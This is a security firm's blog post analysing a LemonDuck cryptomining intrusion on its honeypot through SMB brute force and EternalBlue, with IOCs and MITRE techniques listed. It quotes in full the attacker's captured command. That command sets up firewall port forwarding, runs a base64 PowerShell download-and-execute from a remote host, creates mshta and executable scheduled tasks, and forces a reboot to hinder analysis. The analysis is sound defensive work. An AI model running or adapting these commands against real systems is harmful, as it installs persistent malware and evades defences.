This post was authored by Aufa and NetbyteSEC Interns (Irham, Idham, Adnin, Nabiha, Haiqal, Amirul)
This blog post is intended to give an overall picture of LemonDuck malware exploited SMB by leveraging EternalBlue vulnerability (CVE-2017-0144) for cryptocurrency mining, based on observations from our observatory farm. EternalBlue is a significant vulnerability in Microsoft's Server Message Block (SMB) protocol that has been exploited by numerous malware variants. One such strain, LemonDuck, is a well-known cryptomining malware that takes advantage of weaknesses in SMB services to breach networks, disable security measures, and utilize system resources for cryptomining purposes. It spreads through phishing emails, exploiting SMB vulnerabilities, and using brute-force password attacks. Additionally, LemonDuck employs PowerShell to avoid detection, deploy various malicious payloads, and target systems for cryptojacking.
This blog post might be useful for security professionals with insights into current malware trends and attack techniques observed in the wild. By the end of this blog post, readers will gain a comprehensive understanding of the tactics and techniques used by this LemonDuck malware operator that compromised users via the SMB domain admin. Furthermore, security analyst can assess the provided Indicator of Compromise (IOCs) associated with LemonDuck malware variant to assess whether their environment has been compromised or not.
Case Summary
The attacker initiated a brute force attack in the vulnerable SMB service leveraging Eternal Blue (CVE-2017-0144) vulnerability which was running on our observatory farm, successfully compromising the user "Administrator". Upon gaining initial access, the attacker creates a hidden administrative share for the C: drive enabling them to remotely access the entire drive without the victim's knowledge. The attacker created a batch file named p.bat, designed to execute a series of malicious actions aimed at gaining persistent control over a system. It first creates and copies malicious file msInstall.exe, then rename it into FdQn.exe, opens specific firewall ports and sets up port forwarding to redirect traffic to a remote address (1.1.1.1) on port 53. The script checks for PowerShell and, if found, runs a base64-encoded PowerShell script to download and execute script from remote URL and schedule the execution of FdQn.exe regularly. If PowerShell isn't available, it creates scheduled tasks to run malicious payloads from a remote URL using mshta, and executes the malware installed.exe. It also includes anti-detection mechanisms by monitoring the number of open command prompts and forcing a system reboot if more than 10 are detected, likely to disrupt analysis or debugging efforts.
Finally, it cleans up by deleting the batch file itself after execution. Additionally, the attacker also create another malicious executable that disguised a legitimate system service named svchost.exe. This malware was able to disable Windows Defender’s real-time protection and create exclusions for the entire C: drive and the PowerShell process to avoid detection. Similarly with the previous, the script manipulates the firewall and sets up port forwarding to redirect traffic to a remote address (1.1.1.1) on port 53, commonly used for DNS. It copies and renames malicious executables (svchost.exe, dig.exe) into (HbxbVCnn.exe, SgcwqM.exe) and sets up scheduled tasks to run these files at regular intervals, ensuring persistence. The script also interacts with other scheduled tasks, including deleting and recreating them for continued execution of the malware. This malware attempts to bypass security measures, gain network control, and maintain persistence on the system while executing hidden tasks. By the end of their operation, the attacker delete the administrative share in order to hide their tracks or eliminate the administrative shares where they can maintain control of the compromised system exclusively for themselves.
Technical Analysis
Brute-force SMB for Initial Access
In the initial access phase, the attacker with IP address 211.22.131.99 initiated brute-forcing activities targeting the SMB machine and successfully logged in as a local user named Administrator. Figure below illustrates some of the account names tested during the brute force attempts.
According to IPThreat, the IP address 211.22.131.99 originated from Taichung City, Taiwan has been flagged by 5 vendors and has been reported as "brute force" activities on RDP by Servinformatica and Anonymous on IPThreat, raising concerns about potential malicious behavior. Hence, we can conclude that the IP address is malicious and will continuously attempt brute force attacks, posing a significant threat to organization's security.
Creating a Hidden Administrative Share
Exploitation and Persistence
cmd /c echo oEAZjlit >> c:\windows\temp\msInstall.exe&echo copy /y c:\windows\temp\msInstall.exe c:\windows\FdQN.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn NFUBffk /tr "c:\windows\FdQN.exe" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pSVR-ESCWEBAPP"^&schtasks /run /TN Autocheck^&schtasks /delete /TN NFUBffk /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN NFUBffk /tr "c:\windows\FdQN.exe"^&schtasks /run /TN NFUBffk^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\windows\temp\installed.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\windows\temp\installed.exe
*
character into ipc.txt, act as signal or marker indicating that the malware has either successfully completed its current tasks or it is ready to proceed with the next stage of the attack. This file-based signaling mechanism is often used in malware to coordinate actions between different components or steps in an attack. Malware Technical Analysis and Reverse Engineering
- smb_send_file() function copy an executable (msInstall
.exe
) file to theC:\windows\temp
directory on the remote system, the script renames the file to FdQn.exe and creates a batch file (p.bat
). - A series of activities associated with the batch file include commands to copy the renamed executable, create scheduled tasks, modify firewall rules, and initiate network communication through open ports (65531 and 65532).
- Scheduled task for persistence: Several scheduled tasks are created and managed to ensure the malware is executed at regular intervals, such as every 10 or 50 minutes. They point to the FdQn.exe files, including those downloaded from malicious URLs (http://w.zz3r0.com/page.html).
- Privilege escalation and system monitoring: The script checks if PowerShell is available on the system. If found, it uses PowerShell to download a remote script from the specified URL (http://t.amynyx.com/gim.jsp) and immediately executes it on the system.
- System service manipulation: The script restarts or manipulates system services like Ddriver and uses schtasks to run malicious executables on a schedule.
Conclusion
In conclusion, the LemonDuck malware exploits the SMB services by leveraging Eternal Blue (CVE-2017-0144) vulnerability. Upon successfully gaining initial access, the attacker create malicious batch file and executable file the are able to manipulate network settings, and set up multiple scheduled tasks to execute malware and also able to retrieve malicious code from remote URLs, ensuring persistence on the compromised system. To maintain stealth and evade detection, the attacker disable Windows Defender real-time monitoring, add the C: drive to the exclusion list, and modifies the malicious files by renaming or moving them in c:\windows directory. The techniques employ by the attacker to ensure continuous operation of the malware while attempting to evade detection. Hence, it is crucial for organizations to ensure that all operating systems and software are regularly updated to protect against known vulnerabilities, including EternalBlue (CVE-2017-0144) to minimize the risk from being compromised.
Indicator of Compromise (IOC)
TTP
- Exploit Public-Facing Application T1190
- Command and Scripting Interpreter: PowerShell T1059.001
- Command and Scripting Interpreter: Windows Command Shell T1059.003
- Valid Accounts T1078.001
- Scheduled Task/Job T1053.005
- Impair Defenses: Disable or Modify Tools T1562.001
- Impair Defenses: Disable or Modify System Firewall T1562.004